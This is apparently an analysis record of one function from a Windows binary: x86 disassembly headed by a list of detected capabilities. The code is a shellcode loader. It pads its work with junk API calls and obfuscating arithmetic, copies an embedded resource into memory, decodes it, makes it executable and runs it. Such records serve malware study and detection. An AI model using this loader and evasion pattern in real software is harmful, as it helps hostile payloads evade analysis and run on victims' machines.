Function at 0x3001070
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get file size
Initialize winhttp library
Print debug messages
Query or enumerate registry key
Read .ini file
Receive http response
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
push ebx
push esi
xor ebx, ebx
cmp dword [ebp - 0x94], 0x159
push edi
jne 0x30010c6
mov ecx, 0x302d548
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x3001092
sub ecx, edx
cmp ecx, 0x216
jbe 0x30010c6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetScrollRange]
mov byte [ebp - 0x1d], 1
mov dword [ebp - 8], 0x464e9676
mov dword [ebp - 0x30], 0x68cec6a8
mov dword [ebp - 0x34], 0x1d85d9c6
mov dword [ebp - 0x60], 0x653980fc
mov dword [ebp - 0x3c], 0x7db07b4a
mov dword [ebp - 0x24], 0x587fe692
mov dword [ebp - 0xc], 0x5255cf15
mov dword [ebp - 0x54], 0xb7c5ec6
mov dword [ebp - 0x58], 0x414f8534
mov dword [ebp - 0x50], 0x7078c9bc
mov dword [ebp - 0x68], 0x190b957
mov dword [ebp - 0x5c], 0x51883a33
mov dword [ebp - 0x78], 0x3c03296f
mov dword [ebp - 0x74], 0x7493285c
add dword [ebp - 8], 0x5282c2e6
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
add dword [ebp - 8], 0x5c57caa8
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.COMCTL32.dll_CreateStatusWindowA]
sub dword [ebp - 8], 0x33b58b2
push ebx
push ebx
push ebx
mov ebx, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call ebx
add dword [ebp - 8], 0x3cbea4c
sub dword [ebp - 8], 0xbb1ec67
sub dword [ebp - 0x30], 0x730e8fe3
add dword [ebp - 8], 0x225ddd6e
add dword [ebp - 0x34], 0x6110ce84
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
sub dword [ebp - 0x30], 0x71f1f046
add dword [ebp - 0x3c], 0x6a5235cf
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
add dword [ebp - 0x24], 0x799f6b7d
push esi
push esi
push esi
call ebx
add dword [ebp - 0x24], 0x218fb675
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_AdjustWindowRect]
sub dword [ebp - 0x3c], 0x2f0c6e02
sub dword [ebp - 0xc], 0x602e455b
add dword [ebp - 0x3c], 0x76232497
add dword [ebp - 8], 0x6fbb8c34
sub dword [ebp - 0xc], 0x61d7c70a
push esi
call dword [sym.imp.GDI32.dll_CloseFigure]
push esi
call dword [sym.imp.GDI32.dll_EndPath]
sub dword [ebp - 0x30], 0x4d68096a
add dword [ebp - 0x34], 0x5eab4862
add dword [ebp - 0x60], 0x50a5e4b1
sub dword [ebp - 0x24], 0xc4f5046
add dword [ebp - 0x3c], 0x2dbcdb02
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
add dword [ebp - 0x54], 0x4367c302
add dword [ebp - 0x24], 0x16bd2702
sub dword [ebp - 0xc], 0x458a862a
add dword [ebp - 0xc], 0x4e4bc944
add dword [ebp - 0x30], 0x27a358d5
push 0x3023260
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add dword [ebp - 0x54], 0x449d562b
add dword [ebp - 0x50], 0x412c1f3f
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CombineRgn]
add dword [ebp - 0x34], 0x1c93081c
sub dword [ebp - 0x58], 0x663b37f4
mov edi, dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
call edi
push esi
push esi
call dword [sym.imp.USER32.dll_CharPrevA]
add dword [ebp - 0xc], 0x327d0af5
sub dword [ebp - 0x5c], 0xb2d6850
add dword [ebp - 8], 0x2c640544
push esi
push esi
mov esi, dword [sym.imp.SHELL32.dll_DragQueryPoint]
call esi
push dword [ebp - 0x48]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_CharPrevA]
add dword [ebp - 0x68], 0xe2d166d
xor eax, eax
push eax
push eax
call esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push esi
call edi
sub dword [ebp - 0x50], 0x220bdeff
add dword [ebp - 0x58], 0x460008ad
sub dword [ebp - 0x68], 0x4e9b368b
push esi
mov edi, dword [sym.imp.USER32.dll_AdjustWindowRect]
push esi
push esi
call edi
sub dword [ebp - 0x60], 0x671f0ed2
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CombineRgn]
sub dword [ebp - 0xc], 0x3b80478
sub dword [ebp - 0x5c], 0x80a1bc2
sub dword [ebp - 0x34], 0x128a39cf
sub dword [ebp - 0x74], 0x2b6c7c61
sub dword [ebp - 0x78], 0x3697e261
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push esi
call dword [sym.imp.GDI32.dll_CloseFigure]
push esi
push esi
push esi
call ebx
lea eax, [ebp - 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebx, esi
cmp byte [ebp - 0x1d], 0
je 0x3001745
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, 0x18364c
jle 0x300171f
xor eax, eax
cmp dword [ebp - 0x48], 0xdd1542e
jne 0x30013dd
cmp eax, 1
je 0x300171d
mov byte [ebp - 0x1d], al
mov dword [ebp - 4], 0x58d6323b
mov dword [ebp - 0x10], 0x49ebccea
mov dword [ebp - 0x1c], 0x3b6e2eb7
mov dword [ebp - 0x28], 0x7c89ce2c
mov dword [ebp - 0x18], 0x32d03b4b
mov dword [ebp - 0x2c], 0x20f10b27
mov dword [ebp - 0x14], 0x2a226070
mov dword [ebp - 0x38], 0x31acbce5
mov dword [ebp - 0x6c], 0x4a6ebfe0
mov dword [ebp - 0x64], 0x141985f0
mov dword [ebp - 0x7c], 0x562ed30a
mov dword [ebp - 0x4c], 0x2b233d2
mov dword [ebp - 0x40], 0x272c5f18
sub dword [ebp - 4], 0x32c6c338
add dword [ebp - 4], 0x7de4e83e
sub dword [ebp - 0x10], 0x42b4debf
add dword [ebp - 4], 0x7b674087
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
add dword [ebp - 4], 0x9342c4f
add dword [ebp - 0x1c], 0x4c2917fb
sub dword [ebp - 0x10], 0x74238145
sub dword [ebp - 0x10], 0x2b02ab60
sub dword [ebp - 0x14], 0x34673e67
mov esi, dword [sym.imp.USER32.dll_CharPrevA]
xor eax, eax
push eax
push eax
call esi
sub dword [ebp - 4], 0x56223aa4
add dword [ebp - 0x14], 0x6d45046f
sub dword [ebp - 0x18], 0x613b7cb
add dword [ebp - 4], 0x234ed093
add dword [ebp - 0x14], 0x7b429dbf
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
sub dword [ebp - 4], 0x53b7f591
sub dword [ebp - 0x28], 0x5844c4fc
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
add dword [ebp - 0x14], 0x6e7f8f59
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add dword [ebp - 0x1c], 0x5fddaa14
sub dword [ebp - 4], 0x610b43de
add dword [ebp - 4], 0x1313cfe1
xor eax, eax
push eax
push eax
call esi
add dword [ebp - 0x1c], 0x3ecaaaa2
xor eax, eax
push eax
push eax
push eax
call edi
add dword [ebp - 0x1c], 0x5fdf1929
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov esi, dword [sym.imp.USER32.dll_CreateWindowExA]
call esi
add dword [ebp - 0x18], 0x15ca04c6
sub dword [ebp - 0x6c], 0x31151f5d
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call esi
sub dword [ebp - 0x28], 0x72e0263b
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_CombineRgn]
sub dword [ebp - 4], 0x4c9b2d7a
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
add dword [ebp - 0x14], 0x1d40be61
add dword [ebp - 0x38], 0x59ef001b
add dword [ebp - 4], 0x150894f7
add dword [ebp - 0x38], 0x247650b3
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
add dword [ebp - 0x1c], 0x4f1637d7
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call esi
add dword [ebp - 0x10], 0x2dc64b5c
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
sub dword [ebp - 0x18], 0x769103c0
add dword [ebp - 0x64], 0x3aa7e978
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_SetWindowContextHelpId]
add dword [ebp - 0x2c], 0x580f2b78
sub dword [ebp - 0x18], 0x6da9e82c
add dword [ebp - 0x28], 0x30e621e4
sub dword [ebp - 0x10], 0x1af27b79
sub dword [ebp - 0x14], 0x41cec0e1
sub dword [ebp - 0x2c], 0x416394fb
sub dword [ebp - 0x64], 0x391e4d21
push 0
call dword [sym.imp.USER32.dll_IsIconic]
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
sub dword [ebp - 0x2c], 0x213a4528
add dword [ebp - 0x38], 0x9651bc2
sub dword [ebp - 0x38], 0x54a1dfd0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub dword [ebp - 0x10], 0x14f1ffca
add dword [ebp - 0x6c], 0x399212c4
push 0
call dword [sym.imp.GDI32.dll_CloseFigure]
sub dword [ebp - 0x18], 0x1c3c25a8
sub dword [ebp - 0x7c], 0x70dadd8f
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
add dword [ebp - 0x28], 0x74e86fe4
sub dword [ebp - 4], 0x25e6048a
sub dword [ebp - 0x4c], 0x720f6ad0
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
add dword [ebp - 0x2c], 0x403805c
add dword [ebp - 0x1c], 0x19d434d7
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
sub dword [ebp - 0x40], 0x2dedbf8
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
xor eax, eax
push eax
push eax
push eax
call edi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call esi
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_SetWindowContextHelpId]
sub dword [ebp - 0x18], 0x66a8107
jmp 0x300171f
xor esi, esi
cmp dword [0x302d544], 0
jne 0x3001738
push 0x3023278
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x302d544], eax
inc ebx
cmp ebx, 0x8b9a6f96
jb 0x30013a8
xor edi, edi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
lea eax, [ebp - 0x98]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.USER32.dll_GetCaretPos]
cmp esi, 0x4d02c3
jle 0x3001797
cmp dword [ebp - 0x48], 0x86e4
je 0x3001797
cmp dword [ebp - 0x98], 0x23b74f
je 0x3001797
cmp dword [ebp - 0x80], 0x1f9d86e7
jne 0x30017a2
add esi, 2
cmp esi, 0x23b972
jl 0x3001747
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x44], 0xb0a0
push dword [ebp - 0x44]
mov ebx, dword [section..data]
push edi
mov dword [ebp - 0x40], ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
xor ecx, ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x70], resource.2
mov esi, ecx
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x44], ecx
jbe 0x30017fb
mov ebx, eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov al, byte [esi + ebx]
mov byte [esi + edi], al
inc esi
push 0
pop ecx
cmp esi, dword [ebp - 0x44]
jb 0x30017dc
mov ebx, dword [ebp - 0x40]
push ebx
lea eax, [ebp - 0x44]
push eax
push edi
call fcn.030018ca
add esp, 0xc
lea eax, [ebp - 0x84]
push eax
push 0x40
push dword [ebp - 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]